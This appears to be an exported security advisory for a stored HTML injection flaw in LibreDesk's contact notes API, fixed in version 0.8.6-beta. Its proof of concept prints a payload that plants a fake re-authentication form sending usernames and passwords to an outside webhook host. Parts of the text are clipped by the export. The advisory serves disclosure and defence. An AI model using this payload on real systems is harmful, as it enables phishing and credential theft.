github.com/abhinavxd/libredesk
Affected
- introduced
0, fixed0.8.6-beta(semver)
Fixed versions
0.8.6-beta
Fix
- Fixed version
0.8.6-betago get github.com/abhinavxd/[email protected]
Advisory
Also known as: CVE-2025-68927, GO-2025-4243
Libredesk has Improper Neutralization of HTML Tags in a Web Page
Summary
LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks.
---
Details
When notes are added through the LibreDesk web application, the client sends note content wrapped inside <p> tags. The backend appears to trust this HTML structure and stores the content as-is.
By intercepting the request to:
POST /api/v1/contacts/3/notes
and removing the `<p>` wrapper, an attacker can submit arbitrary HTML content. The backend does not sanitize or validate the HTML payload before persisting it.
As a result:
<form>, <input>, <img>) are storedThis indicates that the application relies on client-side HTML formatting assumptions, which can be bypassed by modifying the request.
---
PoC
POST /api/v1/contacts/3/notes
{
"note": "<p>This is a normal note</p>"
}
<p> tag and injecting arbitrary HTML: {
"note": "<form action='https://webhook.site/xxxx' method='POST'>
<input type='text' name='username' placeholder='Username'>
<input type='password' name='password' placeholder='Password'>
<input type='submit' value='Re-authenticate'>
</form>"
}
Result:
The injected HTML form is rendered inside the application.
---
Impact
This is a stored HTML injection vulnerability affecting any user who can add or view contact notes.
Potential impact includes:
If the notes are shared across users or roles, this vulnerability can be abused to target multiple users, increasing severity.
High Basis: The source's own band: HIGH
0, fixed 0.8.6-beta (semver)0.8.6-beta
0.8.6-betago get github.com/abhinavxd/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0